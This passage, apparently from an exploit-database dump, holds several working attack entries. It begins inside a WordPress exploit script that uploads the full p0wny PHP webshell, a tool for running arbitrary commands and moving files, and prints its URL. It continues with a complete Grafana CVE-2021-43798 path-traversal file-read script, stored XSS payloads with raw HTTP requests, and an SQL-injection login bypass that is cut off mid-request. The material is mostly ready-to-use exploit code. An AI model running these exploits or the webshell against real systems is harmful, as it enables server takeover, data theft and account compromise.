          }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"customizer_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916--\r\n"
session.post(exploit_url, headers=header, data=shell_payload)
print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')
print('')
            
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)
            
# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS)
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10 
# Vulnerable page: ?page=view_task&id=2

Technical description:

A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. 

xss-1:

1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task"
2) Insert your payload in the "title" and "Task Description" parameter parameter
3) Click save

Proof of concept (Poc):

The following payload will allow you to run the javascript - 

"><img src=# onerror=alert(123)>

---
POST /Actions.php?a=save_task HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 312

Origin: http://localhost

Connection: close

Referer: http://localhost/?page=tasks

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E







xss-2 

1) Navigate to http://localhost.com/?page=manage_account
2) Insert your payload in the "full name" or "contact" or "email"  parameter parameter

Proof of concept (Poc):

The following payload will allow you to run the javascript - 

"><img src=# onerror=alert(123)>




--

POST /Actions.php?a=update_credentials_employee HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384

Content-Length: 1613

Origin: http://localhost

Connection: close

Referer: http://localhost/?page=manage_account

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="id"




1

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="fullname"




John D Smith

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="gender"




Male

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="dob"




1997-06-23

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="contact"




098123456789"><img src=# onerror=alert(123)>

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="email"




jsmith@sample.com

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="address"




Sample Address

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="department_id"




1

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="email"




jsmith@sample.com

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="password"







-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="old_password"







-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="avatar"; filename=""

Content-Type: application/octet-stream







-----------------------------27882107026209045483167935384--
            
# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10 
# Vulnerable page: Actions.php
# VUlnerable parameters: "username"

Technical description:

An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.

Steps to exploit:

1) Navigate to http://localhost/login.php

2) Insert your payload in the user or password field 

3) Click login

Proof of concept (Poc):

The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 

123'+or+1=1+--+-




--- 




POST /Actions.php?a=employee_login HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Origin: http://edtms.com

Connection: close

Referer: http://edtms.com/login.php

